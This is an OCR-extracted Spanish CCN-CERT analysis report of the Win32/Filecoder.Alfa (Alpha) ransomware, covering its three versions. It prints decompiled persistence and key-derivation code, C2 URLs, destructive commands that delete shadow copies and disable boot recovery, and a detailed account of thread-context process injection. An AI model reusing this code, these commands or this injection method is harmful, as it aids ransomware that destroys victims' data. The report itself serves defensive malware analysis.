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LIMITACION DE RESPONSABILIDAD

El presente documento se proporciona de acuerdo con los términos en él recogidos,
rechazando expresamente cualquier tipo de garantia implicita que se pueda encontrar
relacionada. En ningin caso, el Centro Criptoldgico Nacional puede ser considerado
responsable del dano directo, indirecto, fortuito o extraordinario derivado de la utilizacién de la
informacidn y software que se indican incluso cuando se advierta de tal posibilidad.

AVISO LEGAL

Quedan rigurosamente prohibidas, sin la autorizacion escrita del Centro Criptoldgico Nacional,
bajo las sanciones establecidas en las leyes, la reproduccidn parcial o total de este documento
por cualquier medio o procedimiento, comprendidos la reprografia y el tratamiento informdtico,
y la distribucion de ejemplares del mismo mediante alquiler o préstamo publicos.
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1. SOBRE CCN-CERT

El CCN-CERT (www.ccn-cert.cni.es) es la Capacidad de Respuesta a incidentes
de Seguridad de la Informacién del Centro Criptolégico Nacional, CCN. Este servicio se
cre6 en el afno 2006 como CERT Gubernamental Nacional espanol y sus funciones
guedan recogidas en la Ley 11/2002 reguladora del Centro Nacional de Inteligencia,
el RD 421/2004 de regulacion del CCN y en el RD 3/2010, de 8 de enero, regulador del
Esquema Nacional de Seguridad.

De acuerdo a todas ellas, el CCN-CERT tfiene responsabilidad en ciberataques
sobre sistemas clasificados y sobre sistemas de las Administraciones PUblicas y de
empresas y organizaciones de interés estratégico para el pais. Su misién, por tanto, es
contribuir a la mejora de la ciberseguridad espanola, siendo el centro de alerta y
respuesta nacional que coopere y ayude a responder de forma rdpida y eficiente a los
ciberataques y a afrontar de forma activa las ciberamenazas.
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2. RESUMEN EJECUTIVO

El presente documento recoge el andlisis del cédigo dahnino
"Win32/Filecoder.Alfa", el cual ha sido disenado para leer las unidades de discos duros,
recursos de red y unidades extraibles conectadas al sistema operativo comprometido.

El objetivo del cddigo danino es extorsionar a la victima para que pague un
rescate por recuperar sus archivos cifrados.

El cédigo danino posee tres versiones: las dos primeras, lamadas “Alpha”, datan
de mayo de 2016 y estdn realizadas en el lenguaje de programacién C# NET del que
es trivial obtener el codigo fuente de forma legible aunque estd ofuscado. Esta fue
una de las razones por las que se pudo realizar un descifrador gratuito. La tercera
version, llamada "Alfa”, estd desarrollada en C y corrige los problemas tenian las
versiones anteriores.

3. INFORMACION DE VERSIONES DEL CODIGO DANINO

En este apartado se muestran las diferencias y 1os cambios producidos entre Ias
tres diferentes versiones del cddigo danino.

3.1 EXTENSIONES A CIFRAR

El cddigo danino posee una tabla de extensiones de forma que solo se cifrardn
los ficheros que posean alguna de estas extensiones.

3.1.1 PRIMERA VERSION Y SEGUNDA VERSION

Las dos primeras versiones del cddigo danino cifran todos los archivos que
posean alguna de las siguientes extensiones:

.wb2 .drw .orf .sdf .dgc .Ppsx
.psd .design | .nwb .sav .ddd .ppam
.p7c .ddrw .nrw .sas7bdat .dac .potm
.p7b .ddoc .nop .s3db .cfp .potx
.p12 .dcs .nef rdb .cdf .pptm
.pfx .csl .ndd .psafe3 .bpw .PpPSs
.pem .csh .mrw .nyf .bgt .pot
.crt .cpi .mos .nx2 .acr Xlw
.cer .cgm .mfw .nx1 .ac2 Xl
.der .cdx .mef .nsh .ab4 Xlam
.pl .cdrw .mdc .nsg .djvu xla
Jdua .cdré .kdc .nsf .pdf Xlsb
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3.1.2 TERCERA VERSION

La tercera versibn del cédigo daiino cifra todos los archivos que posean
cualquiera de las siguientes extensiones:
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3.2 EXTENSION ANADIDA A LOS ARCHIVOS CIFRADOS

El codigo danino anade una nueva extensidon a los nombres de los archivos
cifrados.

3.2.1 PRIMERA VERSION Y SEGUNDA VERSION

Las dos primeras versiones del codigo danino anaden la siguiente extension a los
archivos cifrados:

.encrypt

3.2.2 TERCERA VERSION

El cddigo danino anade la siguiente extensidon en los archivos cifrados:

.bin

3.3 ARCHIVOS DE RESCATE

El cédigo dafiino deja una serie de archivos o indicios acerca del secuestro del
sistema y de los archivos, asi como del procedimiento para poder recuperarlos.

3.3.1 PRIMERA VERSION

La primera versibn del cddigo danino crea una serie de archivos con la
informacion del secuestro en cada directorio en donde pueda cifrar algun archivo al
igual que en el escritorio.

El contenido del archivo se indica a contfinuacién:

"Your maijor files are encrypted.!”, "To decrypt the files, you need to pay 1 Bitcoin.", "you

can purchase Bitcoin here hitps://www.bitcoin.com/buy-bitcoin”, "\r", "if you agree,
write me to e-mail europay@easy.com"

3.3.2 SEGUNDA VERSION

La segunda version del cdédigo danino crea una serie de archivos con la
informacion del secuestro en cada directorio en donde pueda cifrar algun archivo al
igual que en el escritorio.

El contenido del archivo se indica a continuacioén:

Your files are encrypted!,

Click on the link for decrypt hitp://5.45.79.1/key.php?id=<id_uUnico_victima>
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Esta versidon del cddigo danino cambia el fondo del escritorio por una imagen:

llustracién 1. Imagen incorporada como fondo de escritorio

3.3.3 TERCERA VERSION

La tercera versidon del cddigo danino crea dos archivos en el escritorio del
sistema comprometido y en cada carpeta donde pueda cifrar un archivo, los cuales
procede a mostrar al usuario una vez finalizd el proceso del cifrado.

README HOW TO DECRYPT YOUR FILES.TXT
README HOW TO DECRYPT YOUR FILES.HTML

El texto de los archivos es distinto. Por la gran longitud del mensaje se indica
como ejemplo su comienzo:

FEFFFEFE A E A
i

Cannot you find the files you need?

Is the content of the files that you looked for not readable?
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It is normal because the files' names, as well as the data in your files

have been encrypted.

FEFEFE 111111 E A E A EE A A
it

Il If you are reading this message it means the software

Il "Alpha Ransomware" has been removed from your computer.

FHFHH A
it

Tanto el archivo de texto como el archivo HTML creados contienen el mismo
texto. Lo que varia en cada ejecucion es el identificador Unico generado de la victima
asi como la direccién “.onion"” a la que dirigirse para efectuar el pago. Un ejemplo de
pdgina “.onion” para efectuar el pago se muestra a continuacion:

A Home page (O] FAQ ¥4 Reload current page

Please copy-paste your personal key:
Your key Enviar

Example key:

38E24C76010000008258E49911A1CCD04D9BBE54391650D30CA6E

D395E42B3CF9542184BE6392EF3D148CEBEA61580612B419757150

9495E69F184EDEA1511CE9F8C3B8BE45FB30E0CD473C208E613EB
D9BAB291D3EF8C0CC075310157 C65971B1CF5D5754ADAB86

One line without spaces!

llustracién 2. Direccidn “.onion” donde efectuar el pago

A diferencia de la versidn anterior, no cambia el fondo del escritorio.
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4. CARACTERISTICAS DEL CODIGO DANINO

El cédigo danino posee las siguientes caracteristicas comunes entre sus versiones:

Carga el cédigo danino en el sistema.
Utiliza técnicas anti-andlisis.

Enumera todas las unidades disponibles y cifra, en las que sean de tipo
disco duro, extraible o de recurso de red, todos los archivos que cumplan
un patrén de extension.

Modifica el registro de Windows para asegurarse persistencia y guardar
informacion acerca del secuestro.

Se comunica con un servidor C2 (Servidor de mando y control) o posee
una direccién de correo de contacto.

A continuacién se indican las diferencias entre versiones:

4.1 PRIMERA VERSION

Se modifica el registro de Windows para deshabilitar el poder acceder al
Gestor de Tareas, mostrando un mensaje de error al estar esa accién
deshabilitada por un administrador del sistema.

Se crea un “timer” que se encarga de terminar el proceso del Gestor de
Tareas en caso de que esté en ejecucidon. Esta accion la realiza
buscando simplemente el nombre “taskmgr”.

No utiliza ningun dominio “.onion” para gestionar el cobro sino que
depende de que el usuario se ponga en contacto con los autores
mediante un correo electrénico aportado.

Estd programado en C# .NET y tiene ofuscadas tanto las cadenas de
texto, como los nombres de funciones. Esta capa de ofuscacion es
sencilla de eliminar y descompilar el cédigo .NET.

4.2 SEGUNDA VERSION

Se modifica el registro de Windows para deshabilitar el poder acceder al
Gestor de Tareas, mostrando un mensaje de error al estar esa accién
deshabilitada por un administrador del sistema.

Se crea un “timer” que se encarga de terminar el proceso del Gestor de
Tareas en caso de que esté en ejecucién. Esta accion la realiza
buscando simplemente el nombre “taskmgr”.

No utiliza ningun dominio “.onion" para gestionar el cobro sino que
aporta una direccién IP a la que dirigirse para realizar el pago.

Estd programado en C# .NET y tiene ofuscadas tanto las cadenas de
texto, como los nombres de funciones. Esta capa de ofuscacién es
sencilla de eliminar y descompilar el cédigo .NET.
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e Ejecuta distintos procesos del sistema e inyecta parte de su cdédigo en
ellos para ejecutar el Ransomware sin pasar por disco.

e El “dropper” utilizado es mucho mds complejo de analizar teniendo tres
fases distintas hasta que el cédigo con la carga danina final se pone en

ejecucion.

e Dependiendo del proceso en el que se haya inyectado realiza una serie

de acciones distintas.

e Estd programado en C con procedimientos de ofuscacién y cifrado en su

interior.

5. DETALLES GENERALES

Las muestras analizadas se corresponden con las siguientes firmas MDS:

flod7c4103890648af550cc7ca7762416 -> Win32/Filecoder.Alfa.A “dropper”
d33025¢c3657ef78ff2125efaaf1f0bfé -> Win32/Filecoder.Alfa.A “loader”
6906c73130cc465efef48b460fdeff15 -> Win32/Filecoder.Alfa.A “injected code”
f2cc41e597c4109bf12718885cdb76b3 -> Win32/Filecoder.Alfa.A
2e6b972fc2f0cb5d0fe8bae4949dd182 -> Ransom.Alpha (sin conexién a C2)
09ec0977d8af23bf652419e33f487a0f -> Ransom.Alpha (con conexién al C2)

El binario tiene formato PE (Portable Executable), es decir, es un ejecutable para

sistemas operativos Windows, concretamente para 32 bits.

En la muestra analizada se ha podido observar que la fecha interna de creacion

del programa data del 2 de julio del 2016.

... Exeinfo PE - ver.0.0.4.2 by A.S.L - 941+46 sign 2016.03.24 I'T:|E|[‘>_<'|

[ File : | Ransam, AlFa, exe

|)“H

Ertry Point : (00010284 | [oo] (<] ERSection IL_I [ ] u]

) File Offset © |OODOFGS Flrst tes: 55.86.EC.E1.EC) m
e Lt — T Hﬂ'
File Size :  [onoizoooh | (=) (2] Owverlay : ‘{\ 0000800

Image is 32bit executable RES/O¥L : D ,{2 %

2015 @ [_]

[Microsoft Yisual C++ ver, ~6,0~7,10 - Linker 10 - Yisual 2EIIEI

Lamet Infao - Help Hint - Unpack infa

4

| Creation Date From exe header @ 02 July 2016

X
a 7

llustracién 3. Detalles del binario

AR 3 ]
02 July 2016 -
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6. PROCEDIMIENTO DE INFECCION

La infeccién en el equipo se produce al ejecutar el fichero que contiene el
codigo danino. Una vez ejecutado realiza las siguientes acciones en el equipo de la

victima:

6.1 PRIMERA VERSION

Crea una copia de su propio cédigo.
Crea un temporizador que finaliza el proceso “taskmgr”.

Modifica el registro para asegurar persistencia y limitar el uso del Gestor
de Tareas de Windows.

Enumera los discos del sistema y procede a buscar archivos y cifrarlos en
fodos aquellos que no sean de tipo CD-ROM, memoria RAM, recurso de
red o la unidad en la que esté instalado el sistema operativo.

Crea archivos de texto con la informacion acerca del secuestro de los
archivos.

Modifica el fondo de pantalla del escritorio.

6.2 SEGUNDA VERSION

Crea una copia de su propio cédigo.
Crea un temporizador que finaliza el proceso “taskmgr”.

Modifica el registro para asegurar persistencia y limitar el uso del Gestor
de Tareas de Windows.

Enumera los discos del sistema y procede a buscar archivos y cifrarlos en
tfodos aquellos que no sean de tipo CD-ROM, memoria RAM, recurso de
red o la unidad en la que esté instalado el sistema operativo.

Obtiene la direccion IP del sistema comprometido.

Envia una serie de datos del sistema comprometido al servidor C2 vy
recibe una clave publica RSA.

Crea archivos de texto con la informacion acerca del secuestro de los
archivos.

Modifica el fondo de pantalla del escritorio.

6.3 TERCERA VERSION

Crea una copia de su propio cédigo.
Modifica el registro para asegurar su persistencia.

Establece comunicacién con un dominio de Internet aunque no
responde con nada mads alld de un cédigo de error.
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e Enumera todas las unidades légicas y en aquellas que sean discos duros,
de red o extraibles busca archivos y los cifra.

e Crea archivos de texto y HTML que muestra a los usuarios acerca del
secuestro de los archivos y el procedimiento a seguir para su
recuperacion.

7. CARACTERISTICAS TECNICAS

7.1 PRIMERA VERSION

El cddigo danino tiene ofuscado el nombre de sus cadenas de texto y de las
funciones aunque es sencillo des-ofuscarlo.

El cédigo danino posee funciones que no se usan al igual que incluye cddigo
libre obtenido por Internet! como, por ejemplo, la funcién de cifrado de AES.

Una vez readlizada esa tarea y descompilando el ejecutable se puede observar
que la primera accién es crear un identificador Unico del sistema comprometido
mediante el identificador del procesador y el nUmero de serie del disco duro.

private static string smethod 0()
{
string str = null;
try
i
string folderPath = Environment.GetFolderPath{Enviromment.3pecialFolder.System) ;
new DirectoryInfo{folderPath):;
string pathRoot = Path.GetPathRoot{folderPath) ;
string strd4 = string.Empty;
ManagementClass classd = new ManagementClass("winii processor’):
using {ManagementObjectCollection. ManagementChjectEnumerator enumerator = classi2.GetInstances().GetEnwmerator{)}
i
if {enuwerator.MovelNext{})
{
Hanagewent(Object current = (ManagementObject) enumerator.Current:
str4 = current.Properties["processorID”].Value. ToString{)
i
}
string strS = pathRoot.Substring{(, pathFoot.Length - Z};
ManagementObject obi3 = new ManagementObject{"win3Z logicaldisk.deviceid=\"" 4+ str5 + ":%""};
okj3.Get{):
atring str6 = obj3["VolumeZerialludaer™] . ToStringl) 2
Str = str4 + sStra;
i
catch {Exception)
{
}

return str:

llustracion 4. Obtencidén del identificador Unico del sistema comprometido

A contfinuacién comprueba que no exista un archivo ‘“svchost.exe” en la
siguiente ruta de ZAPPDATA%.

Z%APPDATA% \ Windows \ svchost.exe

En el caso de que no exista procederd a copiarse en el directorio indicado,
creando cualquier directorio que no exista en el proceso. Una vez copiado el coddigo
danino, le cambia los atributos e inicia su ejecucidn. Posteriormente crea una entrada

! hitp://www.codeproject.com/Articles/769741/Csharp-AES-bits-Encryption-Library-with-Salt

SIN CLASIFICAR 15


http://www.codeproject.com/Articles/769741/Csharp-AES-bits-Encryption-Library-with-Salt

SIN CLASIFICAR

CCN-CERT ID-23/16 Cédigo danino “Win32/Filecoder.Alfa” CNC

<aniro iptologico nagoncl

en el registro de persistencia para asegurar su ejecucidn en siguientes reinicios del
sistema.

Process.3tart{appdat + @™\ Tindows svchost.exe™)
string str4 = appdat + [" Tindows) svchost.exe™:
RegistryEey key = Registry.CurrentUser.OpenSubEeyw{@"SOFTWAREY Y Nicrosofth Windows NTYh CurrentVersiont ' Winlodo
kev = Registry.CurrentUser.OpenSubKey{@"SOFTULRE, Hicrosofeh Tindowsh CurrentWVersion' Bun®, truej;
key.SetValue{"Hicrosoft™, strd4, RegistryValueKind.3tring):;

key.Closel():

llustracién 5. Creando entrada de persistencia

Una vez creada la entrada para asegurar la persistencia y la copia del cédigo
danino, se procede a ejecutar un terminal de Windows de forma oculta donde se
borra el archivo original y finaliza como proceso.

En la segunda instancia en ejecucién busca una entrada en el registro de
Windows:

[HKEY_CURRENT_USER\ Alphd]

Cryptokey = <valor_vacio_en_el_arranque>

En el caso de que no exista procede a crearla. La entrada “Cryptokey”
inicialmente estd vacia siendo de tipo cadena de texto. Posteriormente la entrada
contendrd la clave AES utilizada para cifrar los archivos del sisterna comprometido.

A continuacidn modifica el Registro de Windows para que no pueda ser
ejecutado el Gestor de Tareas. Tras esta modificacién, si se intenta ejecutar el
programa “taskmgr.exe”, se obtendrd el mensaje de error de que el administrador del
sistema habria deshabilitado su uso.
try

{
RegistryKey key = Registry.CurrentUser.Create3ubKey(@"3SOFTWAREY Microsoft) Windowsh CurrentVersiont Policies) System™) ;

key.3etWValue("DisableTaskMgr™, 1): |

et

llustracién 6. Deshabilitando el Gestor de Tareas de Windows

También crea un temporizador que cada medio segundo cierra cualquier
proceso que tfenga como nombre “taskmgr”.

Posteriormente crea la clave que se usard para cifrar los archivos del sistema
mediante la funcién “EncryptPlainTextToCipherText” usando como argumentos el valor
Unico generado en el momento del arranque.
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public static string EncryprPlainTextToCipherText{string PlainText, string _securityEey)
{
hyte[] bytes = Encoding. UTFS. GetBytes(FPlainText)
NDECryptoderviceProvider provider = new MDSCryptolerviceProvider{):
byte[] bufferi = provider.ComputeHash{Encoding.UTFS.GetEytes({_ securitykey))
provider.Cleard{})
TripleDE3CryptofServiceProvider providerZ = new TripleDESCryptolerviceProvider {
Eey = bufferz,
Mode = CipherMode . ECE,
Padding = PaddingMode.PEC37?
}:
hyte[]l inirray = provideri.CreateEncryptord).TransformFinalBlockibytes, ; hbytes.Length)
providerZ.Clear():
return Convert.ToBasefd3cring{inirray, ;, inirray.Length) :

llustracién 7. Generacion de la clave para cifrado

La clave es un cdlculo de un HASH MD5 de la cadena de texto introducida, un
cifrado DES vy, por Ultimo, su conversidon a baseé4.

Posteriormente enumera todas las unidades del sistema y, por cada una de ellas,
se comprueba que no sean:

e CD-ROM.

e De tipo desconocido.

e Dered.

e Disco RAM.

e Que suruta no comience con la del directorio de sistema.

En el caso de que se cumpla alguna de las condiciones anteriormente citadas se
ignora la unidad. De lo contrario se enumeran todas las carpetas de forma recursiva
buscando todos los archivos que no tengan las extensiones “.encrypt”, ni “.ini", que
serdn ignorados en el proceso de cifrado. El resto de archivos serdn cifrados si poseen
una extension perteneciente a una lista predefinida, que se puede consultar en el
apartado 3.1 EXTENSIONES A CIFRAR del presente documento, poniendo antes sus
atributos modo normal.

El cédigo danino fuerza el cifrado del Escritorio, de la carpeta de Imégenes y de
la carpeta de Cookies del sistema, pese a iterar todas las unidades que no sean donde
esté instalado el sistema comprometido.

Por cada una de las carpetas en las que cifra algun archivo, crea el archivo de
texto con la informacién acerca del secuestro.

I
IencryptDirectDry{Environment.GetFolderPath{Environment.SpecialFDlder.DesktDp}, password}4
stethod S{Environment.etFolderPathi{Environment. specialfolder . Desktop) ) ;
IencryptDirectDry{Environment.GetFolderPath{Environment.SpecialFDlder.HyPictures}, passmord):l
stethod S{Environment.etFolderPathi{Environment. speciallfolder ., UyPictures)) )

| encryptlirectory{Environment.GetFolderPathi{ Enviromment.SpecialFolder.Cookies) , password}ﬂ
smethod S{Environment.GetFolderPath{Environment. SpecialFolder. Cookies) )
messageCreator{) ;

llustracion 8. Cifrado forzado de determinadas carpetas del sistema

SIN CLASIFICAR 17
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Por Ultimo se borra a si mismo usando un terminal de Windows y se auto-finaliza
dejando la enfrada de persistencia pero borrando la enfrada del registro que
almacena la clave usada para cifrar.

7.2 SEGUNDA VERSION

La segunda versidn del cddigo daiino es muy parecida a la primera vy, de
hecho, hay mucho cédigo que es el mismo. Las variaciones vienen en la parte de la
obtencion de la clave para el cifrado.

Para ello el cdédigo danino obtiene la direccidn IP publica del sistema
comprometido mediante una conexién al servicio:

hitp://checkip.dyndns.org

Posteriormente establece una conexidén con su servidor C2 enviando informacion
acerca del sistema comprometido y obteniendo una clave RSA puUblica con la que
cifrard la clave de cifrado de los archivos.

hitp://5.45.79.1/webpanel/createkeys.php

Posteriormente crea la clave de cifrado de la misma manera que lo hace la
primera versiéon.

public static string EncryptPlainTextToCipherText({string PlainText, string _securichey)
{
byte[] bytes = Encoding.UTF&8.GetBytes(PlainText) ;
MDS5CryptoServiceProvider provider = new MHDSCryptofServiceProvider():
byte[] buffer2 = provider.ComputeHash(Encoding.UTFS.GetBytes(_securityKey)):
provider.Clear() :
TripleDESCryptoServiceProvider providerZ = new TripleDESCryptoServiceProvider {
Key = buffer2,
Mode = CipherMode.ECE,
Padding = PaddingMode.PECS7
}:
byte[] inldrray = providerZ.CreateEncryptor().TransformFinalElock(bytes, , bytes.Length) ;
providerz.Clear():
return Convert.ToBasefd4String(inArray, O, inlArray.Length):

llustracién 9. Generacién de la clave para cifrado

A contfinuacién, y a diferencia de la primera version, el cddigo danino cifra la
clave AES recién generada con la clave publica RSA vy el resultado lo convierte a
baseé4.

Tras esto, procede a crear una nueva comunicacidén con el servidor C2 a la
siguiente direccidon enviando el identificador Unico del sistema y la clave AES cifrada.

hitp://5.45.79.1/webpanel/savekey.php

El proceso de identificacién de unidades, carpetas y archivos a cifrar es el mismo

que en la primera version.
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Al finalizar el cédigo danino cambia el fondo del escritorio descargando una
imagen desde la siguiente direccion:

hitp://i.imgur.com/RNvnVPcg.jpg

llustracién 10. Imagen descargada y usada como fondo de pantalla

La imagen es guardada en la carpeta del perfil del usuario activo con el
nombre:

newstyle.jpg

Una vez con ella, cambia el fondo de escritorio mediante la funcidon
“SystemParametersinfo™ de la libreria “user32.dll".

7.3 TERCERA VERSION

El cédigo danino en esta versidn estd protegido por un comprensor muy potente
utilizado, en su momento, para proteger tfroyanos bancarios. El packer se llama “Mystic
Compressor” y entre sus funciones estd el descifrar un “loader” y dificultar el proceso
de andlisis del binario. El “loader” que genera, siempre en memoria, es el encargado
de encontrar dos binarios existentes en Windows:

dllhost.exe

explorer.exe
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Para ello obtiene el directorio de Windows e infenta encontrarlos dentro de la
subcarpeta “SysWOWé4". En un sistema operativo de 32 bits esa ruta no existe con lo
que lo intentard en la ruta normal del directorio de sistema de la carpeta Windows.

EAX BB12FB28 UNICODE *C:AWINDOWSAsSystem3Zhdllhost.exe™
ECYX B888879F%

ED¥ Beeeaesc

EBX (ZFfFGF9D9 SHLUAPI .PathCombinel)

ESP 8812F214

EBPF B812FFCHA

ESI @612FF98 UNICODE "system32\dllhost.exe"

EDI 7CBOB7EC Kernell2.GetFileattributesW

llustracion 11. Buscando el ejecutable dllhost.exe

Tras enconftrar los binarios el “loader” procede a ejecutar de forma suspendida
ambos archivos, comenzando por el “dllhost.exe”:

ModuleFileHame = HULL

CommandLine = “C:3WINDOWSysystem32idllhost.exe™
pProcessSecurity = HULL

pThreadSecurity = HULL

el LN N a3
LTI TeanorIcy THL oL

CreationFlags = CREATE_SUSPEHNDED
= T

CurrentDir = HMULL

pStartupInfo = BB12FBYC

-pProcessInfo = B812FBEC

llustracién 12. Creando proceso en estado suspendido

Una vez creado el proceso suspendido con éxito se le crea una reserva de
memoria dentro de su memoria virtual utilizando “VirtualAllocEx"” con permisos totales.
Tras ello, descifra el cédigo del Ransomware en memoria y prepara una pequeia
estructura que usard posteriormente el proceso al que le inyectard el cédigo del
Ransomware para que pueda acceder a él correctamente. Utilizando la funcién
“"WriteProcessMemory” escribe en el nuevo proceso el cédigo vy la pequeia estructura
a continuacion de él.

El cddigo danino, en lugar de usar el método mds comuin para ejecutar el
codigo recién copiado a través de la funcién “CreateRemoteThread”, utiliza un
método menos conocido.

Primero obtiene el contexto del hilo principal del proceso en estado suspendido
mediante la funcién “"GetThreadContext”. Esta funcidén devuelve una estructura de
tipo "CONTEXT" en donde se almacena toda la informacion del estado de los registros,
“flags”, etcétera, de ese hilo en particular. Una vez obtenida la estructura modifica dos
campos de ella: los valores de los registros “EIP" y “ECX".

El registro “EIP" indica la posicidén en la que se encuentra actualmente la CPU
dentro de un programa o hilo y es ahi donde introduce la primera funcién que debe
ejecutar el cddigo danino. El registro “ECX" es el registro que almacena la direccién de
memoria de los argumentos que un proceso puede fener en el momento de su
creacioén. Agui se pone la direccidon de memoria en la que estd la pequena estructura
gue almacena valores indicando donde estd el cddigo del Ransomware a descifrar, su

tamano, etcétera.
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Una vez modificada la estructura la escribe en el contexto del hilo del proceso
suspendido mediante la funcién “SetThreadContext”. Tras ello, utiliza la funcién
“ResumeThread” con el hilo principal del proceso suspendido. Al llamar a esta funcidén
el proceso se recupera de la suspensidn pasando a estado de ejecucidn normal y
ejecutando la primera instruccién del cédigo inyectado. De esta forma ha podido
crearse de forma efectiva un hilo en el proceso remoto.

Este mismo proceso es realizado con el ejecutable “explorer.exe”.

El Ultimo paso del “loader” es crear la entrada de persistencia del cédigo danino
en el sistema comprometido y para ello obtiene la ruta de %APPDATA% y le concatena
la ruta “Microsoft\Essential”. A continuacién, crea todas las carpetas que necesite
para que dicha ruta exista mediante la funcidn "CreateDirectoryW”. Posteriormente,
copia desde el archivo del cédigo danino original a la nueva ruta bajo el nombre
“msestl32.exe”.

C:\Documents and Settings\ <user>\ Application Data\ Microsoft\ Essential\ msesti32.exe

Una vez realizada la copia el coédigo dafino modifica el registro de Windows en
la enfrada:

[HKEY_CURRENT_USER\SOFTWARE \ Microsoft\ Windows\ CurrentVersion\ Run]

MSEstl = <ruta_al_archivo_copiado_del_cédigo_daiino>

Después de la escritura el “loader” se auto-finaliza usando la funcidn
“ExitProcess”.

La primera accién del cédigo inyectado es obtener la direccion de memoria del
“kernel32.dll” o de “kernelbase.dll”, dependiendo del sistema operativo en el que se
encuentre. La funcién obtenida a continuacién es “VirtualAlloc” vy para ello utiliza el
PEB2 (Process Environment Block) para obtener la libreria en la que reside para,
posteriormente, desde la tabla de exportaciones acceder a su direccidn de memoria.

2 https://en.wikipedia.org/wiki/Process Environment Block
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mouv esi, edx
mouv ebx, eax
sub esp, 24h
call Alfa dllhost _get Kernel32 or_kernelbase
test eax, eax
jz short return_zeroe
lea edx, [esp+ZCh+var_179]
mov [esp+2Ch+uvar_19], N
mou [esp+2Ch+var_18], ; i
mou [esp+2Ch+var_17], I o
mov [esp+2Ch+uvar_16], I o
mov [esp+2Ch+var_15], 3 'ut
mou [esp+2Ch+var_14], HE-
mov [esp+2Ch+uvar_13], I N
mov [esp+2Ch+var_12], N
mou [esp+2Ch+var_11], I
mov [esp+2Ch+vayr_18], HE
mov [esp+2Ch+var_F], N
mou [esp+2Ch+var_E], I
mov [esp+2Ch+var_D], 8

call Alfa_dllhost_get_export_function_from_peb

llustracion 13. Obtencién de funciones desde el cédigo inyectado

Una vez obtenida la funcidn, crea una reserva de memoria en la que procede a
descifrar el Ransomware para comprobar después las cadenas de texto de cada
cabecera “MZ" y “PE".

Por Ultimo, procede a copiar el Ransomware descifrado a ofra regidon de
memoria y recrear una IAT3 mediante el uso de la funcidon “GetProcAddress” vy
“VirtualProtect”. Esta accidn se realiza para evitar tener que crear en disco el binario
del Ransomware y ejecutarlo desde él. Al recrear una nueva IAT en lugar de usar la
original del binario se asegura de evitar que, ante un volcado de memoria, el
Ransomware solo pueda funcionar en un sistema operativo igual al infectado.
Ademds, con estas acciones enlentece el andlisis.

Una vez ejecutado el cdédigo daniino final, se producen dos caminos de
ejecucion.

El primero es analizar la rama del proceso “dllhost.exe”. El cddigo danino
comprueba gue no exista una entrada de registro con un valor binario que servird
como identificador Unico del sistema comprometido.

El Ransomware crea una entrada en el regisiro en donde almacena la
informacion necesaria para poder identificar el usuario afectado bajo la siguiente
enfrada en el registro de Windows:

[HKEY_CURRENT_USER\ Software \ Microsoft\ Windows \ CurrentVersion\ Prwvkwybm]

Qbjgvho = <datos_binarios_unicos_en_el_sistema>

En el caso de que no exista se procede a crear el identificador Unico mediante
la funcién "“GetVolumeNameForVolumeMountPointW"” tomando como punto de
montaje la unidad raiz del sistema comprometido, por ejemplo, “C:\".

3 hitps://en.wikipedia.org/wiki/Portable Executable
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test eax, eax
jnz B84 8F 43A
lea eax, [ebp-388]
push eax
call [<&SHLWAPI .PathAddBackslashW>] SHLWAFPI .PathAddBackslashW
push 88
lea eax, [ebp-188]
push eax
lea eax, [ebp-388]
push eax
call [<&KERHEL32 .GetUolumeNameForVolumeMountPoint>] kernel32.GetUolumeNameForVolumeHountPointy
test eax, eax
jnz short B848F3EA
1era pax_ Fahn=2R81

llustracién 14. Creando identificador Unico del sistema comprometido

De este identificador Unico, posteriormente, se calculard un hash MD5 vy se
procederd a enviarlo mediante el método GET al servidor C2.

Posteriormente, borra los Shadow Volumes4 y, en el caso de sistemas operativos
superiores a Windows XP, bloquea el acceso al menU de recuperacién en el inicio
mediante los siguientes procesos:

vssadmin /Delete All /Quiet
bcdedit.exe /set {default} recoveryenabled No

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

En el caso de que ya exista la entrada de registro en la rama “dllhost.exe”
procederd a continuar con su funcidon de intentar conectar a un dominio de Internet.

El nUmero de intentos para poder conectar al dominio son 10, queddndose en
un punto fijo si se acaban el nuUmero de intentos. En el momento del andlisis el dominio
contestaba de forma errénea, dando error 404.

A continuacién, obtiene el nimero de ftipos de teclado que el sistema
comprometido tiene configurados y, en el caso de que alguno de ellos sea ruso o
ucraniano, el cédigo dafino finaliza su ejecucion.

je short BB4BFBGC
xor edx, edx

cmp eax, ebx

jle short BB4LBFBGC
mov ecx, [edi+edx=4]
e | aEHy—BREREE

cmp ecx, 419

je short BB4BFBGA
cmp ecx, 422

je short BB4BFBGA
inc (L1}

cmp edz, eax

j1 short BB4BFB4A
jmp short BB4BFBGC
mou bl, 1

push edi

call <Alfa_GetHeapAndFree?

llustracién 15. Obtencién de teclados y comprobacién de ruso y ucraniano

4 https://en.wikipedia.org/wiki/Shadow volume
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La funcion del cédigo inyectado en el “explorer.exe™ es enumerar las unidades
del sistema vy, por cada una de ellas que encuentre del tipo disco duro, extraible o de
red, crear un nuevo hilo de cifrado que procederd a enumerar todas las carpetas y
archivos en esa unidad. Por cada uno de ellos que sea susceptible de ser cifrado, se
crea un nuevo hilo que realiza la operacién de cifrado tal y como se indica en el
apartado de 8.CIFRADO Y OFUSCACION del presente informe.

Lea eax, [ebp-18]

wsh [F-}4

zall [<&KERHEL32 .GetDriveTypell> ] kernel32.GetDriveTypel
mp eax, 3

je short 08486D2B

mp eax, 2

je short @8406D2B

mp eax, 4

jnz short @8406DAG

wsh 21C

zall {Alfa_GetHeapAndAlloc>

llustracion 16. Obtencion de los discos a cifrar

El cddigo daiino intenta evitar cifrar archivos que estén en cualquiera de las
siguientes rutas:

C:\WINDOWS

C:\Program Files

Una vez se han finalizado fodas las unidades y archivos, crea un nuevo hilo el
cual es el encargado de mostrar en pantalla el texto acerca de la informacion del
secuestro y los pasos a seguir. Posteriormente, el proceso se finaliza.

8. CIFRADO Y OFUSCACION
8.1 CIFRADO

8.1.1 PRIMERA VERSION

El cédigo danino utiliza el algoritmo AES para cifrar los archivos del sistema que
coincidan con un patrén de extensiones utilizindose siempre la misma clave.

La clave es generada desde el identificador Unico calculado al principio de la
ejecucién del cédigo danino y es por ello que, conociendo el algoritmo usado, se
puede calcular la clave y revertir el proceso de cifrado.

También hay que indicar que al finalizar el cifrado de cada archivo, el cédigo
daiino no crea una copia del original antes de cifrarlo con la nueva extension sino
que, en su lugar, usa el mismo archivo pero anadiéndole la extensiéon. Esto se realiza asi
para evitar que programas de recuperacidén a nivel de disco puedan recuperar los
archivos originales.

[ - — J— f e g e = = g

System.I0.File.Move(file, file + encrypt Jﬂ

llustracién 17. Ahadido de la extensidn
